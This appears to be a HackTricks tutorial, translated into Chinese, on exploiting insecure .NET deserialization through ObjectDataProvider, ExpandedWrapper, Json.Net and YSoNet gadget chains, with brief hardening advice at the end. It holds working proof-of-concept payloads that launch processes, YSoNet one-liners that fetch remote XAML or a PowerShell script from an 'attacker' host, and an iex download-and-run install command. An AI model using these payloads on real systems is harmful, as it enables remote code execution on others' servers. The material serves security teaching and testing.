# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} 本文旨在**理解如何利用 ObjectDataProvider 小工具** 来获得 RCE,以及**如何**利用该小工具**Json.Net 和 xmlSerializer**进行滥用。 ## ObjectDataProvider 小工具 根据文档:_ObjectDataProvider 类封装并创建一个可以用作绑定源的对象。_\ 是的,这个解释有点奇怪,让我们看看这个类有什么有趣的地方:这个类允许**封装任意对象**,使用 _**MethodParameters**_ 来**设置任意参数,**然后**使用 MethodName 调用任意函数**,该函数是使用任意参数声明的任意对象。\ 因此,任意**对象**将在**反序列化**时**执行**一个带有**参数的** **函数**。 ### **这怎么可能** **System.Windows.Data** 命名空间在 `C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF` 的 **PresentationFramework.dll** 中定义和实现了 ObjectDataProvider。 使用 [**dnSpy**](https://github.com/0xd4d/dnSpy) 你可以**检查**我们感兴趣的类的代码。在下面的图像中,我们看到 **PresentationFramework.dll --> System.Windows.Data --> ObjectDataProvider --> 方法名称** 的代码。 ![](<../../images/image (427).png>) 如你所见,当 `MethodName` 被设置时,调用了 `base.Refresh()`,让我们看看它的作用: ![](<../../images/image (319).png>) 好的,让我们继续看看 `this.BeginQuery()` 的作用。`BeginQuery` 被 `ObjectDataProvider` 重写,以下是它的作用: ![](<../../images/image (345).png>) 请注意,在代码的末尾调用了 `this.QueryWorke(null)`。让我们看看它执行了什么: ![](<../../images/image (596).png>) 请注意,这不是 `QueryWorker` 函数的完整代码,但它显示了有趣的部分:代码**调用 `this.InvokeMethodOnInstance(out ex);`** 这是**方法集被调用**的那一行。 如果你想检查仅设置 _**MethodName**_** 就会被执行**,你可以运行以下代码: ```java using System.Windows.Data; using System.Diagnostics; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ObjectDataProvider myODP = new ObjectDataProvider(); myODP.ObjectType = typeof(Process); myODP.MethodParameters.Add("cmd.exe"); myODP.MethodParameters.Add("/c calc.exe"); myODP.MethodName = "Start"; } } } ``` 注意,您需要添加作为引用 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 以加载 `System.Windows.Data` ## ExpandedWrapper 使用之前的漏洞,将会有一些情况**对象**将被**反序列化为**一个 _**ObjectDataProvider**_ 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer,对象是通过 `GetType` 反序列化的)。然后,将对包装在 _ObjectDataProvider_ 实例中的对象类型**没有任何了解**(例如 `Process`)。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。 这个类允许**指定封装在**给定实例中的对象的对象类型。因此,这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\ 这在之前呈现的案例中非常有用,因为我们将能够**将 \_ObjectDataProvider**_** 包装在一个 **_**ExpandedWrapper** \_ 实例中,并且**在反序列化时**,这个类将**创建** _**OjectDataProvider**_ 对象,该对象将**执行**在 _**MethodName**_ 中指示的**函数**。 您可以使用以下代码检查这个包装器: ```java using System.Windows.Data; using System.Diagnostics; using System.Data.Services.Internal; namespace ODPCustomSerialExample { class Program { static void Main(string[] args) { ExpandedWrapper myExpWrap = new ExpandedWrapper(); myExpWrap.ProjectedProperty0 = new ObjectDataProvider(); myExpWrap.ProjectedProperty0.ObjectInstance = new Process(); myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe"); myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe"); myExpWrap.ProjectedProperty0.MethodName = "Start"; } } } ``` ## Json.Net 在[官方网站](https://www.newtonsoft.com/json)上指出,这个库允许**使用Json.NET强大的JSON序列化器序列化和反序列化任何.NET对象**。因此,如果我们能够**反序列化ObjectDataProvider小工具**,我们就可以仅通过反序列化一个对象来导致**RCE**。 ### Json.Net 示例 首先,让我们看一个如何使用这个库**序列化/反序列化**对象的示例: ```java using System; using Newtonsoft.Json; using System.Diagnostics; using System.Collections.Generic; namespace DeserializationTests { public class Account { public string Email { get; set; } public bool Active { get; set; } public DateTime CreatedDate { get; set; } public IList Roles { get; set; } } class Program { static void Main(string[] args) { Account account = new Account { Email = "james@example.com", Active = true, CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc), Roles = new List { "User", "Admin" } }; //Serialize the object and print it string json = JsonConvert.SerializeObject(account); Console.WriteLine(json); //{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]} //Deserialize it Account desaccount = JsonConvert.DeserializeObject(json); Console.WriteLine(desaccount.Email); } } } ``` ### 滥用 Json.Net 使用 [ysoserial.net](https://github.com/pwntester/ysoserial.net) 我创建了这个漏洞: ```java ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} } ``` 在这段代码中,你可以**测试漏洞**,只需运行它,你将看到一个计算器被执行: ```java using System; using System.Text; using Newtonsoft.Json; namespace DeserializationTests { class Program { static void Main(string[] args) { //Declare exploit string userdata = @"{ '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 'MethodName':'Start', 'MethodParameters':{ '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089', '$values':['cmd', '/c calc.exe'] }, 'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'} }"; //Exploit to base64 string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata)); //Get data from base64 byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64); //Deserialize data string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64); object obj = JsonConvert.DeserializeObject(userdata_decoded, new JsonSerializerSettings { TypeNameHandling = TypeNameHandling.Auto }); } } } ``` ## 高级 .NET Gadget 链 (YSoNet & ysoserial.net) 上面介绍的 ObjectDataProvider + ExpandedWrapper 技术只是许多可以在应用程序执行 **不安全的 .NET 反序列化** 时被滥用的 gadget 链之一。现代红队工具如 **[YSoNet](https://github.com/irsdl/ysonet)**(以及较旧的 [ysoserial.net](https://github.com/pwntester/ysoserial.net))自动化创建 **现成的恶意对象图**,适用于数十种 gadget 和序列化格式。 以下是与 *YSoNet* 一起提供的最有用链的简要参考,以及它们的工作原理和生成有效负载的示例命令的快速说明。 | Gadget Chain | 关键思想 / 原语 | 常见序列化器 | YSoNet 一行命令 | |--------------|------------------|----------------|------------------| | **TypeConfuseDelegate** | 损坏 `DelegateSerializationHolder` 记录,以便一旦实现,委托指向 *任何* 攻击者提供的方法(例如 `Process.Start`) | `BinaryFormatter`,`SoapFormatter`,`NetDataContractSerializer` | `ysonet.exe TypeConfuseDelegate "calc.exe" > payload.bin` | | **ActivitySurrogateSelector** | 滥用 `System.Workflow.ComponentModel.ActivitySurrogateSelector` 来 *绕过 .NET ≥4.8 类型过滤* 并直接调用提供类的 **构造函数** 或 **动态编译** C# 文件 | `BinaryFormatter`,`NetDataContractSerializer`,`LosFormatter` | `ysonet.exe ActivitySurrogateSelectorFromFile ExploitClass.cs;System.Windows.Forms.dll > payload.dat` | | **DataSetOldBehaviour** | 利用 `System.Data.DataSet` 的 **遗留 XML** 表示,通过填充 `` / `` 字段来实例化任意类型(可选地使用 `--spoofedAssembly` 伪造程序集) | `LosFormatter`,`BinaryFormatter`,`XmlSerializer` | `ysonet.exe DataSetOldBehaviour "" --spoofedAssembly mscorlib > payload.xml` | | **GetterCompilerResults** | 在启用 WPF 的运行时(> .NET 5)中链式调用属性获取器,直到到达 `System.CodeDom.Compiler.CompilerResults`,然后 *编译* 或 *加载* 通过 `-c` 提供的 DLL | `Json.NET` 无类型,`MessagePack` 无类型 | `ysonet.exe GetterCompilerResults -c Loader.dll > payload.json` | | **ObjectDataProvider** (复习) | 使用 WPF `System.Windows.Data.ObjectDataProvider` 调用带有受控参数的任意静态方法。YSoNet 添加了一个方便的 `--xamlurl` 变体,以远程托管恶意 XAML | `BinaryFormatter`,`Json.NET`,`XAML`,*等* | `ysonet.exe ObjectDataProvider --xamlurl http://attacker/o.xaml > payload.xaml` | | **PSObject (CVE-2017-8565)** | 将 `ScriptBlock` 嵌入 `System.Management.Automation.PSObject` 中,当 PowerShell 反序列化该对象时执行 | PowerShell 远程,`BinaryFormatter` | `ysonet.exe PSObject "Invoke-WebRequest http://attacker/evil.ps1" > psobj.bin` | > [!TIP] > 所有有效负载默认 **写入 *stdout***,使其轻松地通过管道传输到其他工具(例如 ViewState 生成器、base64 编码器、HTTP 客户端)。 ### 构建 / 安装 YSoNet 如果在 *Actions ➜ Artifacts* / *Releases* 下没有可用的预编译二进制文件,以下 **PowerShell** 一行命令将设置构建环境,克隆存储库并以 *Release* 模式编译所有内容: ```powershell Set-ExecutionPolicy Bypass -Scope Process -Force; [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072; iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1')); choco install visualstudio2022community visualstudio2022-workload-nativedesktop msbuild.communitytasks nuget.commandline git --yes; git clone https://github.com/irsdl/ysonet cd ysonet nuget restore ysonet.sln msbuild ysonet.sln -p:Configuration=Release ``` 编译后的 `ysonet.exe` 可以在 `ysonet/bin/Release/` 下找到。 ### 检测与加固 * **检测** `w3wp.exe`、`PowerShell.exe` 或任何反序列化用户提供数据的意外子进程(例如 `MessagePack`、`Json.NET`)。 * 启用并 **强制类型过滤**(`TypeFilterLevel` = *Full*,自定义 `SurrogateSelector`,`SerializationBinder`,*等*)每当无法移除遗留的 `BinaryFormatter` / `NetDataContractSerializer` 时。 * 在可能的情况下迁移到 **`System.Text.Json`** 或 **`DataContractJsonSerializer`**,并使用基于白名单的转换器。 * 阻止危险的 WPF 程序集(`PresentationFramework`、`System.Workflow.*`)在不需要它们的 Web 进程中加载。 ## 参考文献 - [YSoNet – .NET 反序列化有效载荷生成器](https://github.com/irsdl/ysonet) - [ysoserial.net – 原始 PoC 工具](https://github.com/pwntester/ysoserial.net) - [Microsoft – CVE-2017-8565](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2017-8565) {{#include ../../banners/hacktricks-training.md}}